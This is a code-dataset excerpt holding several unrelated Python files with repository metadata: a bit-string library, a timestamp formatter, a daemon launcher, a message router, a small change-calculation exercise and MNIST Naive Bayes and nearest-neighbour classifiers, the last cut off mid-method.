offset bits first.\n '''\n # if self.__offset and offset == 0:\n # # normalize our own value\n # self.__bytes = \\\n # bytes(ByteIterator(self.__bytes, self.__length, \n # self.__offset, offset))\n # self.__offset = 0\n return ByteIterator(self.__bytes, self.__length, \n self.__offset, offset)\n \n def bits(self):\n '''\n Return a series of bits (encoded as booleans) that contain the contents.\n '''\n return BitIterator(self.__bytes, 0, self.__length, 1, self.__offset)\n \n def __str__(self):\n '''\n For 64 bits or less, show bits grouped by byte (octet), with bytes\n and bits running from left to right. This is a \"picture\" of the bits.\n \n For more than 64 bits, give a hex encoding of bytes (right padded\n with zeros), shown in big-endian format.\n \n In both cases, the length in bits is given after a trailing slash.\n \n Whatever the internal offset, values are displayed with no initial\n padding.\n '''\n if self.__length > 64:\n hex_ = ''.join(hex(x)[2:] for x in self.bytes())\n return '{0}x0/{1}'.format(hex_, self.__length)\n else:\n chars = []\n byte = []\n count = 0\n for bit in self.bits():\n if not count % 8:\n chars.extend(byte)\n byte = []\n if count:\n chars.append(' ')\n if bit.zero():\n byte.append('0')\n else:\n byte.append('1')\n count += 1\n chars.extend(byte)\n return '{0}b0/{1}'.format(''.join(chars), self.__length)\n \n def __repr__(self):\n '''\n An explicit display of internal state, including padding and offset.\n '''\n return 'BitString({0!r}, {1!r}, {2!r})' \\\n .format(self.__bytes, self.__length, self.__offset)\n \n def __len__(self):\n return self.__length\n \n def zero(self):\n '''\n Are all bits zero?\n '''\n for byte in self.__bytes:\n if byte != 0:\n return False\n return True\n \n def offset(self):\n '''\n The internal offset. This is not useful as an external API, but \n helps with debugging.\n '''\n return self.__offset\n \n def __iter__(self):\n return self.bits()\n \n def __add__(self, other):\n '''\n Combine two sequences, appending then together.\n '''\n bbs = bytearray(self.to_bytes())\n matching_offset = self.__length % 8\n for byte in other.bytes(matching_offset):\n if matching_offset:\n bbs[-1] |= byte\n matching_offset = False\n else:\n bbs.append(byte)\n return BitString(bytes(bbs), self.__length + len(other))\n \n def to_bytes(self, offset=0):\n '''\n Return a bytes() object, right-padded with zero bits of necessary.\n '''\n if self.__offset == offset:\n return self.__bytes\n else:\n return bytes(self.bytes(offset))\n \n def to_int(self, big_endian=False):\n '''\n Convert the entire bit sequence (of any size) to an integer.\n \n Big endian conversion is only possible if the bits form a whole number\n of bytes.\n '''\n if big_endian and self.__length % 8:\n raise ValueError('Length is not a multiple of 8 bits, so big '\n 'endian integer poorly defined: {0}'\n .format(self.__length))\n bbs = self.bytes()\n if not big_endian:\n bbs = reversed(list(bbs))\n value = 0\n for byte in bbs:\n value = (value << 8) + byte\n return Int(value, self.__length)\n \n def to_str(self, encoding=None, errors='strict'):\n '''\n Convert to string.\n '''\n # do we really need to do this in two separate calls?\n if encoding:\n return bytes(self.bytes()).decode(encoding=encoding, \n errors=errors)\n else:\n return bytes(self.bytes()).decode(errors=errors)\n \n def __int__(self):\n return self.to_int()\n \n def __index__(self):\n return self.to_int()\n \n def __invert__(self):\n inv = bytearray([0xff ^ b for b in self.bytes()])\n if self.__length % 8:\n inv[-1] &= 0xff >> self.__length % 8\n return BitString(bytes(inv), self.__length) \n \n def __getitem__(self, index):\n if not isinstance(index, slice):\n index = slice(index, index+1, None)\n (start, stop, step) = index.indices(self.__length)\n if step == 1:\n start += self.__offset\n stop += self.__offset\n bbs = bytearray(self.__bytes[start // 8:bytes_for_bits(stop)])\n if start % 8:\n bbs[0] &= 0xff << start % 8\n if stop % 8:\n bbs[-1] &= 0xff >> 8 - stop % 8\n return BitString(bytes(bbs), stop - start, start % 8)\n else:\n acc = BitString()\n for byte in BitIterator(self.__bytes, start, stop, step, \n self.__offset):\n acc += byte\n return acc\n \n def __eq__(self, other):\n # pylint: disable-msg=W0212\n # (we check the type)\n if not isinstance(other, BitString) \\\n or self.__length != other.__length:\n return False\n for (bb1, bb2) in zip(self.bytes(), other.bytes()):\n if bb1 != bb2:\n return False\n return True\n \n def __hash__(self):\n return hash(self.__bytes) ^ self.__length\n \n @staticmethod\n def from_byte(value):\n '''\n Create a BitString from a byte.\n '''\n return BitString.from_int(value, 8)\n \n @staticmethod\n def from_int32(value, big_endian=None):\n '''\n Create a BitString from a 32 bit integer.\n '''\n return BitString.from_int(value, 32, big_endian)\n \n @staticmethod\n def from_int64(value, big_endian=None):\n '''\n Create a BitString from a 64 bit integer.\n '''\n return BitString.from_int(value, 64, big_endian)\n \n @staticmethod\n def from_int(value, length=None, big_endian=None):\n '''\n Value can be an int, or a string with a leading or trailing tag.\n A plain int, or no tag, or leading tag, is byte little-endian by \n default.\n \n Length and big-endianness are inferred from the format for values \n given as strings, but explicit parameters override these.\n If no length is given, and none can be inferred, 32 bits is assumed\n (bit length cannot be inferred for decimal values, even as strings).\n \n The interpretation of big-endian values depends on the base and is \n either very intuitive and useful, or completely stupid. Use at your\n own risk.\n \n Big-endian hex values must specify an exact number of bytes (even \n number of hex digits). Each separate byte is assigned a value \n according to big-endian semantics, but with a byte small-endian\n order is used. This is consistent with the standard conventions for\n network data. So, for example, 1234x0 gives two bytes. The first\n contains the value 0x12, the second the value 0x34.\n \n Big-endian binary values are taken to be a \"picture\" of the bits,\n with the array reading from left to right. So 0011b0 specifies \n four bits, starting with two zeroes.\n \n Big-endian decimal and octal values are treated as hex values.\n '''\n # order is very important below - edit with extreme care\n bits = None\n if isinstance(value, str):\n value.strip()\n # move postfix to prefix, saving endian hint\n if value.endswith('0') and len(value) > 1 and \\\n not value[-2].isdigit() \\\n and not (len(value) == 3 and value.startswith('0')):\n value = '0' + value[-2] + value[0:-2]\n if big_endian is None:\n big_endian = True\n # drop 0d for decimal\n if value.startswith('0d') or value.startswith('0D'):\n value = value[2:]\n # infer implicit length\n if len(value) > 1 and not value[1].isdigit() and length is None:\n bits = {'b':1, 'o':3, 'x':4}.get(value[1].lower(), None)\n if not bits:\n raise ValueError('Unexpected base: {0!r}'.format(value))\n length = bits * (len(value) - 2)\n if big_endian and bits == 1:\n # binary value is backwards!\n value = value[0:2] + value[-1:1:-1]\n value = int(value, 0)\n if length is None:\n try:\n # support round-tripping of sized integers\n length = len(value)\n except TypeError:\n # assume 32 bits if nothing else defined\n length = 32\n length = unpack_length(length)\n if length % 8 and big_endian and bits != 1:\n raise ValueError('A big-endian int with a length that '\n 'is not an integer number of bytes cannot be '\n 'encoded as a stream of bits: {0!r}/{1!r}'\n .format(value, length))\n bbs, val = bytearray(), value\n for _index in range(bytes_for_bits(length)):\n bbs.append(val & 0xff)\n val >>= 8\n if val > 0:\n raise ValueError('Value contains more bits than length: %r/%r' %\n (value, length))\n # binary was swapped earlier\n if big_endian and bits != 1:\n bbs = reversed(bbs)\n return BitString(bytes(bbs), length)\n \n @staticmethod\n def from_sequence(value, unpack=lambda x: x):\n '''\n Unpack is called for each item in turn (so should be, say, from_byte).\n '''\n accumulator = BitString()\n for item in value:\n accumulator += unpack(item)\n return accumulator\n \n @staticmethod\n def from_bytearray(value):\n '''\n Create a BitString from a bytearray.\n '''\n if not isinstance(value, bytes):\n value = bytes(value)\n return BitString(value, len(value) * 8)\n \n @staticmethod\n def from_str(value, encoding=None, errors=STRICT):\n '''\n Create a BitString from a string.\n '''\n if encoding:\n return BitString.from_bytearray(value.encode(encoding=encoding, \n errors=errors))\n else:\n return BitString.from_bytearray(value.encode(errors=errors))\n \n # pylint: disable-msg=E1101\n # python 2.6 doesn't know about abcs\n SimpleStream.register(BitString)\n \n def unpack_length(length):\n '''\n Length is in bits, unless a decimal is specified, in which case it\n it has the structure bytes.bits. Obviously this is ambiguous with float\n values (eg 3.1 or 3.10), but since we only care about bits 0-7 we can\n avoid any issues by requiring that range. \n '''\n if isinstance(length, str):\n try:\n length = int(length, 0)\n except ValueError:\n length = float(length)\n if isinstance(length, int):\n return length\n if isinstance(length, float):\n nbytes = int(length)\n bits = int(10 * (length - nbytes) + 0.5)\n if bits < 0 or bits > 7:\n raise ValueError('BitStr specification must be between 0 and 7')\n return nbytes * 8 + bits\n raise TypeError('Cannot infer length from %r' % length)\n \n \n def bytes_for_bits(bits, offset=0):\n '''\n The number of bytes required to specify the given number of bits.\n '''\n return (bits + 7 + offset) // 8\n \n \n class BitIterator(object):\n '''\n A sequence of bits (used by BitString).\n '''\n \n def __init__(self, value, start, stop, step, offset):\n assert 0 <= offset < 8\n self.__bytes = value\n self.__start = start\n self.__stop = stop\n self.__step = step\n self.__offset = offset\n self.__index = start\n \n def __iter__(self):\n return self\n \n def __next__(self):\n if (self.__step > 0 and self.__index < self.__stop) \\\n or (self.__step < 0 and self.__index > self.__stop):\n index = self.__index + self.__offset\n byte = self.__bytes[index // 8] >> index % 8\n self.__index += self.__step\n return ONE if byte & 0x1 else ZERO\n else:\n raise StopIteration()\n \n \n class ByteIterator(object):\n '''\n A sequence of bytes (used by BitString).\n '''\n \n def __init__(self, value, length, existing, required):\n assert 0 <= required < 8\n assert 0 <= existing < 8\n self.__bytes = value\n self.__length = length\n self.__required = required\n self.__existing = existing\n if self.__required > self.__existing:\n self.__index = -1\n else:\n self.__index = 0\n self.__total = 0\n \n def __iter__(self):\n return self\n \n def __next__(self):\n if self.__required == self.__existing:\n return self.__byte_aligned()\n elif self.__required > self.__existing:\n return self.__add_offset()\n else:\n return self.__correct_offset()\n \n def __byte_aligned(self):\n '''\n Already aligned, so return next byte.\n '''\n if self.__index < len(self.__bytes):\n byte = self.__bytes[self.__index]\n self.__index += 1\n return byte\n else:\n raise StopIteration()\n \n def __add_offset(self):\n '''\n No longer understand this. Replace with BitStream project?\n '''\n if self.__index < 0:\n if self.__total < self.__length:\n # initial offset chunk\n byte = 0xff & (self.__bytes[0] << \n (self.__required - self.__existing))\n self.__index = 0\n self.__total = 8 - self.__required\n return byte\n else:\n raise StopIteration()\n else:\n if self.__total < self.__length:\n byte = 0xff & (self.__bytes[self.__index] >> \n (8 - self.__required + self.__existing))\n self.__index += 1\n self.__total += self.__required\n else:\n raise StopIteration()\n if self.__total < self.__length:\n byte |= 0xff & (self.__bytes[self.__index] << \n (self.__required - self.__existing))\n self.__total += 8 - self.__required\n return byte\n\n def __correct_offset(self):\n '''\n No longer understand this. Replace with BitStream project?\n '''\n if self.__total < self.__length:\n byte = 0xff & (self.__bytes[self.__index] >> \n (self.__existing - self.__required))\n self.__index += 1\n self.__total += 8 - self.__existing + self.__required\n else:\n raise StopIteration()\n if self.__total < self.__length:\n byte |= 0xff & (self.__bytes[self.__index] << \n (8 - self.__existing + self.__required))\n self.__total += self.__existing - self.__required\n return byte\n \n \n ONE = BitString(b'\\x01', 1)\n ZERO = BitString(b'\\x00', 1)\n \n","repo_name":"willtang/lyx2ebook","sub_path":"src/lepl/bin/bits.py","file_name":"bits.py","file_ext":"py","file_size_in_byte":21734,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"14021201506","text":"import time\nfrom datetime import datetime\n\n\ndef timeFormat(timestamp):\n try:\n datetime.strptime(timestamp, \"%Y-%m-%d\")\n return timestamp\n except Exception as e:\n timestamp = int(timestamp) / 1000\n time_array = time.localtime(timestamp)\n result_date = time.strftime(\"%Y-%m-%d\", time_array)\n return result_date\n\n\nif __name__ == '__main__':\n g = timeFormat(\"1687190400000\")\n f = timeFormat(\"2023-06-28\")\n print(g)\n print(f)\n","repo_name":"LiuAlo/comein_IRM_ApiTest","sub_path":"common/timeFormat.py","file_name":"timeFormat.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18959046203","text":"from statnett_usecase.daemon import daemon_process\nfrom statnett_usecase.daemon_backfill import daemon_backfill_process\nfrom threading import Thread, Event\nimport atexit\nimport time\nimport os\nfrom configuration.statnett_usecase_config import Configuration\nimport yaml \nimport signal\nimport sys\nimport logging\nfrom traceback import format_exc\n\n\nstop_event = Event() # Event to indicate the terminate signal and end the program gracefully.\nlogging.basicConfig(filename='statnett_usecase.log',format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p',level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\"\"\"_______________________________________________________________\n Main function. \n _________________________________________________________________\n This function will initiate the daemon thread to process the \n energy data. \n If an interrupt signal is received the stop event is set \n and the stop_background process is called before the main program\n is completed. \n__________________________________________________________________\"\"\"\ndef main():\n # run the main thread for a while\n try:\n logger.info('Main thread started...') \n signal.signal(signal.SIGTERM, signal_term_handler)\n signal.signal(signal.SIGINT, signal_term_handler)\n config = config_load()\n if config.backfill_ind == \"Y\":\n logger.info(f'Process running in backfill mode:{config.backfill_date}')\n thread = Thread(target=daemon_backfill_process(config,stop_event), daemon=True, name=\"Background\")\n else:\n logger.info(f'Process running in current_mode..')\n thread = Thread(target=daemon_process(config,stop_event), daemon=True, name=\"Background\")\n thread.start() \n atexit.register(stop_background, stop_event, thread)\n logger.info('Main thread completed successfully...')\n except Exception as e:\n print(format_exc())\n logger.error(format_exc())\n logger.info('Main thread completed with error ...')\n \n\n\n \n\n\n\"\"\" config_path function will return the current working directory \"\"\"\ndef config_path() -> str:\n cwd = os.getcwd()\n return cwd\n\n\n\"\"\" config_load will load the configuration file into a pydantic class\"\"\"\ndef config_load() -> Configuration:\n with open(\"statnett_config.yaml\",\"r\") as f:\n data = yaml.safe_load(f)\n config_data = data[\"configuration\"]\n configuration = Configuration(**config_data)\n return configuration \n\n\n\"\"\" signal_term_handler function will receive the interruption signal and set the stop event. \"\"\"\ndef signal_term_handler(signal, frame):\n logger.info('SIGTERM signal received and program exit process started.. ')\n stop_event.set()\n #sys.exit(0)\n\n\"\"\" stop_background function is called when the main thread is terminated and help to cleanup. \"\"\" \ndef stop_background(stop_event, thread):\n thread.join()\n logger.info('Daemon thread stopped gracefully')\n\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"pirabukannan/statnett_usecase","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"86419096574","text":"from modules.base_module import RanaModule\n\n\ndef getModule(*args, **kwargs):\n return MessageModule(*args, **kwargs)\n\n\nclass MessageModule(RanaModule):\n \"\"\"Handles messages\"\"\"\n\n def __init__(self, *args, **kwargs):\n RanaModule.__init__(self, *args, **kwargs)\n\n def routeMessage(self, messages):\n for message in messages.split('|'):\n try:\n (module, text) = message.split(\":\", 1)\n except ValueError: # no module name or keyword found\n return\n\n if module == 'set':\n # set a value in the persistent dict\n (key, value) = text.split(\":\", 1)\n for i in (None, True, False):\n if value == str(i):\n value = i\n self.set(key, value)\n\n elif module == 'toggle': # toggle a boolean value in the persistent dict\n self.set(text, not self.get(text, 0))\n\n elif module == \"*\": # send to all modules\n for m in self.m.items():\n m.handleMessage(text)\n\n elif module == 'ms': # short for message + single simple string\n # Example:\n # \"ms:module_name:message_text:payload_string\"\n (module, key, string) = text.split(':', 2)\n m = self.m.get(module, None)\n if m is not None:\n m.handleMessage(key, 'ms', string)\n else:\n self.log.error(\"Message addressed to module %s, which isn't loaded\", module)\n\n elif module == 'ml': # short for message + list of strings\n # Example:\n # \"ml:module_name:message_text:foo0;foo1;foo2\"\n tokens = text.split(':', 2)\n module = tokens[0]\n key = tokens[1]\n semicolonSepList = tokens[2]\n list = semicolonSepList.split(';')\n m = self.m.get(module, None)\n if m is not None:\n m.handleMessage(key, 'ml', list)\n else:\n self.log.error(\"Message addressed to module %s, which isn't loaded\", module)\n\n elif module == 'md': # short for message + dictionary of string=string key:value pairs\n # Example:\n # \"md:module_name:message_text:key0=value0;key1=value1;key2=value2\"\n tokens = text.split(':', 3)\n module = tokens[0]\n mainKey = tokens[1]\n semicolonSepDict = tokens[2]\n d = {}\n for keyValue in semicolonSepDict.split(';'):\n kvList = keyValue.split('=', 1)\n if len(kvList) >= 2:\n (key, value) = (kvList[0], kvList[1])\n d[key] = value\n m = self.m.get(module, None)\n if m is not None:\n m.handleMessage(mainKey, 'md', d)\n else:\n self.log.error(\"Message addressed to module %s, which isn't loaded\", module)\n\n elif module == \"setWithMode\":\n (mode, key, value) = text.split(\":\", 2)\n for i in (None, True, False):\n if value == str(i):\n value = i\n self.set(key, value, mode=mode)\n\n elif module == \"setWithCurrentMode\":\n (key, value) = text.split(\":\", 1)\n for i in (None, True, False):\n if value == str(i):\n value = i\n mode = self.get('mode', 'car')\n self.set(key, value, mode=mode)\n\n else:\n m = self.m.get(module, None)\n if m is not None:\n m.handleMessage(text, None, None)\n else:\n self.log.error(\"Message addressed to module %s, which isn't loaded\", module)","repo_name":"M4rtinK/modrana","sub_path":"modules/mod_messages.py","file_name":"mod_messages.py","file_ext":"py","file_size_in_byte":3940,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"61"} +{"seq_id":"24420402563","text":"money = int(input(\"지불한 돈의 가격을 입력하세요:\"))\nprice = int(input(\"물건의 가격을 입력하세요:\"))\nchange = money-price\nprint(\"거스름돈\",change)\nchange500 = change //500\nchange = change % 500\nchagne100 = change //100\nchange = change % 100 \nchange10 = change //10\nprint(\"500원 동전의 개수:\",change500)\nprint(\"100원의 동전의 개수:\",chagne100)\nprint(\"10원의 동전의 개수:\",change10)","repo_name":"badyong/pythonkpu","sub_path":"lab3-4.py","file_name":"lab3-4.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28685260436","text":"\"\"\"\r\nReza Marzban\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport math\r\n\r\n\r\ndef load_data():\r\n # load the mnist data, and transform into right shape numpy array\r\n training_images_file = open('train-images.idx3-ubyte', 'rb')\r\n training_images = training_images_file.read()\r\n training_images_file.close()\r\n training_images = bytearray(training_images)\r\n training_images = training_images[16:]\r\n training_images = np.array(training_images)\r\n training_images = training_images.reshape(-1, 784)\r\n\r\n training_labels_file = open('train-labels.idx1-ubyte', 'rb')\r\n training_labels = training_labels_file.read()\r\n training_labels_file.close()\r\n training_labels = bytearray(training_labels)\r\n training_labels = training_labels[8:]\r\n training_labels = np.array(training_labels)\r\n training_labels = training_labels[:, np.newaxis]\r\n\r\n testing_images_file = open('t10k-images.idx3-ubyte', 'rb')\r\n testing_images = testing_images_file.read()\r\n testing_images_file.close()\r\n testing_images = bytearray(testing_images)\r\n testing_images = testing_images[16:]\r\n testing_images = np.array(testing_images)\r\n testing_images = testing_images.reshape(-1, 784)\r\n\r\n testing_labels_file = open('t10k-labels.idx1-ubyte', 'rb')\r\n testing_labels = testing_labels_file.read()\r\n testing_labels_file.close()\r\n testing_labels = bytearray(testing_labels)\r\n testing_labels = testing_labels[8:]\r\n testing_labels = np.array(testing_labels)\r\n testing_labels = testing_labels[:, np.newaxis]\r\n\r\n return training_images, training_labels, testing_images, testing_labels\r\n\r\n\r\ndef visualize_datapoint(data, title):\r\n data = data.reshape(28, 28)\r\n plt.title(title)\r\n plt.imshow(data, cmap='gray')\r\n plt.show()\r\n\r\n\r\ndef make_features_binary(trainx, testx):\r\n threshhold = 110\r\n trainx = (trainx >= threshhold) * 1\r\n testx = (testx >= threshhold) * 1\r\n return trainx, testx\r\n\r\n\r\ndef make_data_binary(train_x, train_y):\r\n five_index = np.where(train_y == 5)[0]\r\n rest_index = np.where(train_y != 5)[0]\r\n five_index = np.random.choice(five_index, size=1000)\r\n rest_index = np.random.choice(rest_index, size=1000)\r\n x = np.concatenate((train_x[five_index], train_x[rest_index]))\r\n y = np.concatenate((train_y[five_index], train_y[rest_index]))\r\n y[y != 5] = 0\r\n y[y == 5] = 1\r\n mask = np.random.rand(len(x)) < 0.90\r\n training_images = x[mask]\r\n training_labels = y[mask]\r\n mask = np.logical_not(mask)\r\n testing_images = x[mask]\r\n testing_labels = y[mask]\r\n return training_images, training_labels, testing_images, testing_labels\r\n\r\n\r\ndef create_subset(train_x, train_y, test_x, test_y):\r\n train_size_each_class = 200\r\n one_index = np.where(train_y == 1)[0]\r\n one_index = np.random.choice(one_index, size=train_size_each_class)\r\n two_index = np.where(train_y == 2)[0]\r\n two_index = np.random.choice(two_index, size=train_size_each_class)\r\n seven_index = np.where(train_y == 7)[0]\r\n seven_index = np.random.choice(seven_index, size=train_size_each_class)\r\n xtrain = np.concatenate((train_x[one_index], train_x[two_index], train_x[seven_index]))\r\n ytrain = np.concatenate((train_y[one_index], train_y[two_index], train_y[seven_index]))\r\n\r\n test_size_each_class = 50\r\n one_index = np.where(test_y == 1)[0]\r\n one_index = np.random.choice(one_index, size=test_size_each_class)\r\n two_index = np.where(test_y == 2)[0]\r\n two_index = np.random.choice(two_index, size=test_size_each_class)\r\n seven_index = np.where(test_y == 7)[0]\r\n seven_index = np.random.choice(seven_index, size=test_size_each_class)\r\n xtest = np.concatenate((test_x[one_index], test_x[two_index], test_x[seven_index]))\r\n ytest = np.concatenate((test_y[one_index], test_y[two_index], test_y[seven_index]))\r\n return xtrain, ytrain, xtest, ytest\r\n\r\n\r\nclass NaiveBayes:\r\n \"\"\"\r\n Naive Bayes class on binary features.\r\n \"\"\"\r\n _mu = None\r\n _theta = None\r\n\r\n def fit(self, x, y):\r\n \"\"\"\r\n :param x: training set features\r\n :param y: training set labels\r\n \"\"\"\r\n N = len(x)\r\n k, N_k = np.unique(y, return_counts=True)\r\n d = len(x[0])\r\n mu = np.append(k.reshape(len(k), 1), N_k.reshape(len(N_k), 1)/N, 1)\r\n theta = np.ones((len(k), d))\r\n for image in range(N):\r\n mask = x[image] > 0\r\n theta[y[image], mask] += 1\r\n theta = theta / (N_k[:, None]+d)\r\n self._mu = mu\r\n self._theta = theta\r\n\r\n def classify(self, image):\r\n \"\"\"\r\n :param image: input image\r\n :return: label: predicted label\r\n \"\"\"\r\n label = None\r\n max_prob = -10e7\r\n for k in range(len(self._mu)):\r\n prob_k = math.log(self._mu[k][1])\r\n N_K = float(np.sum(self._theta[k]))\r\n true_pixels = np.where(image == 1)\r\n false_pixels = np.where(image == 0)\r\n p = self._theta[k][true_pixels]\r\n p1 = 1-self._theta[k][false_pixels]\r\n log_likelihood = np.log(p).sum() + np.log(p1).sum()\r\n prob = prob_k + log_likelihood\r\n if prob > max_prob:\r\n max_prob = prob\r\n label = k\r\n return label\r\n\r\n def predict_and_evaluate(self, x, y):\r\n \"\"\"\r\n :param x: testing set features\r\n :param y: testing set labels\r\n :return: accuracy: prediction accuracy\r\n \"\"\"\r\n correct_prediction_counter = 0\r\n if self._mu is None or self._theta is None:\r\n print(\"Usage Error: Please use NaiveBayes.fit(x,y) first.\")\r\n return -1\r\n for i in range(len(x)):\r\n image = x[i]\r\n true_y = y[i]\r\n y_hat = self.classify(image)\r\n if true_y == y_hat:\r\n correct_prediction_counter += 1\r\n accuracy = round(correct_prediction_counter/len(x), 4)\r\n return accuracy\r\n\r\n\r\nclass NaiveBayesGaussian:\r\n \"\"\"\r\n Gaussian Naive Bayes class.\r\n \"\"\"\r\n _v = None\r\n _mu = None\r\n _prior = None\r\n\r\n def fit(self, x, y):\r\n \"\"\"\r\n :param x: training set features\r\n :param y: training set labels\r\n \"\"\"\r\n N = len(x)\r\n k, N_k = np.unique(y, return_counts=True)\r\n self._prior = np.append(k.reshape(len(k), 1), N_k.reshape(len(N_k), 1) / N, 1)\r\n training_set_with_five = x[(y == 1).squeeze()]\r\n training_set_without_five = x[(y == 0).squeeze()]\r\n v0 = np.var(training_set_without_five)\r\n v1 = np.var(training_set_with_five)\r\n mu = np.stack((np.mean(training_set_without_five, axis=0), np.mean(training_set_with_five, axis=0)))\r\n self._v = (v0, v1)\r\n self._mu = mu\r\n\r\n def _probability_density_function(self, image):\r\n \"\"\"\r\n :param image: input image\r\n :return: Probability density functtion for both label 0 and 1.\r\n \"\"\"\r\n v0, v1 = self._v\r\n pdf0 = 1/math.sqrt(2*math.pi*v0)\r\n e0 = np.exp((-1 * np.power((image - self._mu[0]), 2)) / (2 * v0))\r\n pdf0 *= e0\r\n pdf1 = 1/math.sqrt(2*math.pi*v1)\r\n e1 = np.exp((-1 * np.power((image - self._mu[1]), 2)) / (2 * v1))\r\n pdf1 *= e1\r\n return pdf0, pdf1\r\n\r\n def classify(self, image):\r\n \"\"\"\r\n :param image: input image\r\n :return: label: predicted label\r\n \"\"\"\r\n log_prior_0 = math.log(self._prior[0][1])\r\n log_prior_1 = math.log(self._prior[1][1])\r\n pdf0, pdf1 = self._probability_density_function(image)\r\n log_pdf0 = np.log(pdf0).sum()\r\n log_pdf1 = np.log(pdf1).sum()\r\n p0 = log_prior_0 + log_pdf0\r\n p1 = log_prior_1 + log_pdf1\r\n score = p1-p0\r\n if p1 > p0:\r\n label = 1\r\n else:\r\n label = 0\r\n return label, score\r\n\r\n @staticmethod\r\n def _check_threshold(y, scores):\r\n y_true = (y == 1)\r\n sorted_score_indices = np.argsort(scores)[::-1]\r\n y_score = scores[sorted_score_indices]\r\n y_true = y_true[sorted_score_indices]\r\n unique_value_indices = np.where(np.diff(y_score))[0]\r\n threshold_indices = np.r_[unique_value_indices, y_true.size - 1]\r\n tps = np.cumsum(y_true)[threshold_indices]\r\n fps = 1 + threshold_indices - tps\r\n tps = np.r_[0, tps]\r\n fps = np.r_[0, fps]\r\n fpr = fps / fps[-1]\r\n tpr = tps / tps[-1]\r\n return fpr, tpr\r\n\r\n def predict_and_evaluate(self, x, y):\r\n \"\"\"\r\n :param x: testing set features\r\n :param y: testing set labels\r\n \"\"\"\r\n if self._mu is None or self._v is None or self._prior is None:\r\n print(\"Usage Error: Please use NaiveBayesGaussian.fit(x,y) first.\")\r\n return -1\r\n y_hat = []\r\n scores = []\r\n TP, TN, FN, FP = (0, 0, 0, 0)\r\n for i in range(len(x)):\r\n image = x[i]\r\n true_y = y[i]\r\n prediction, score = self.classify(image)\r\n if true_y == 1 and prediction == 1:\r\n TP += 1\r\n elif true_y == 1 and prediction == 0:\r\n FN += 1\r\n elif true_y == 0 and prediction == 1:\r\n FP += 1\r\n elif true_y == 0 and prediction == 0:\r\n TN += 1\r\n scores.append(score)\r\n y_hat.append(prediction)\r\n y_hat = np.array(y_hat)\r\n scores = np.array(scores)\r\n TPR = TP/(TP+FN)\r\n FPR = FP/(FP+TN)\r\n accuracy = (TP+TN)/(len(x))\r\n\r\n FPRs, TPRs = self._check_threshold(y, scores)\r\n auc = round(np.trapz(TPRs, FPRs), 4)\r\n\r\n plt.plot(FPRs, TPRs, linewidth=3.5)\r\n plt.xlim([-0.05, 1.05])\r\n plt.ylim([-0.05, 1.05])\r\n plt.title(f\"ROC Curve -- AUC= {auc}\", fontsize=16)\r\n plt.ylabel('True Positive Rate (TPR)', fontsize=14)\r\n plt.xlabel('False Positive Rate (FPR)', fontsize=14)\r\n plt.grid()\r\n plt.show()\r\n return y_hat\r\n\r\n\r\nclass NearestNeighbors:\r\n \"\"\"\r\n Nearest Neighbors class (Brute Force).\r\n \"\"\"\r\n # k_list = [1, 3, 5, 7, 9]\r\n k_list = [3]\r\n best_k = None\r\n Training_x = None\r\n Training_y = None\r\n Testing_x = None\r\n Testing_y = None\r\n\r\n @staticmethod\r\n def _euclidean_distance(n_points, x):\r\n n_points = n_points.astype('float64')\r\n x = x.astype('float64')\r\n eucl_dist = (n_points - x)\r\n eucl_dist = eucl_dist**2\r\n eucl_dist = np.sum(eucl_dist, axis=1)\r\n eucl_dist = np.sqrt(eucl_dist)\r\n return eucl_dist\r\n\r\n @staticmethod\r\n def _shuffle_data(x, y):\r\n assert len(x) == len(y)\r\n p = np.random.permutation(len(x))\r\n return x[p], y[p]\r\n\r\n def _classify(self, train_x, train_y, validation_x, validation_y, k):\r\n predictions = []\r\n for i in range(len(validation_x)):\r\n x = validation_x[i]\r\n label = validation_y[i]\r\n distances = self._euclidean_distance(train_x, x)\r\n nearest_indices = distances.argsort()[:k]\r\n nearest_indices = np.array(nearest_indices)\r\n nearest_labels = train_y[nearest_indices]\r\n _, idx, counts = np.unique(nearest_labels, return_index=True, return_counts=True)\r\n index = idx[np.argmax(counts)]\r\n mode = nearest_labels[index]\r\n prediction = mode\r\n predictions.append(prediction)\r\n predictions = np.array(predictions)\r\n accuracy = round((predictions == validation_y).sum() / len(validation_y), 4)\r\n return accuracy, predictions\r\n\r\n def _cross_validate_nn(self, x, y, folds_count):\r\n folds_x = np.array_split(x, folds_count)\r\n folds_y = np.array_split(y, folds_count)\r\n accuracy_sum = np.zeros((len(self.k_list)))\r\n for i in range(folds_count):\r\n test_set_x = np.array(folds_x[i])\r\n test_set_y = np.array(folds_y[i])\r\n training_set_x = None\r\n training_set_y = None\r\n accuracy_list = []\r\n for j in range(folds_count):\r\n if i == j:\r\n continue\r\n if training_set_x is None:\r\n training_set_x = np.vstack((folds_x[j]))\r\n training_set_y = np.vstack((folds_y[j]))\r\n else:\r\n training_set_x = np.vstack((training_set_x, folds_x[j]))\r\n training_set_y = np.vstack((training_set_y, folds_y[j]))\r\n accuracy_list = []\r\n for k in self.k_list:\r\n accuracy, _ = self._classify(training_set_x, training_set_y, test_set_x, test_set_y, k)\r\n accuracy_list.append(accuracy)\r\n accuracy_list = np.array(accuracy_list)\r\n accuracy_sum += accuracy_list\r\n accuracy_ave = accuracy_sum / folds_count\r\n best_k_idx = np.argmax((accuracy_ave))\r\n self.best_k = self.k_list[best_k_idx]\r\n return accuracy_ave[best_k_idx]\r\n\r\n def fit(self, x, y):\r\n \"\"\"\r\n :param x: training set features\r\n :param y: training set labels\r\n \"\"\"\r\n x, y = self._shuffle_data(x, y)\r\n self.Training_x = x\r\n self.Training_y = y\r\n accuracy = round(self._cross_validate_nn(x, y, 5),4)\r\n return accuracy\r\n\r\n def predict_and_evaluate(self, x, y):\r\n 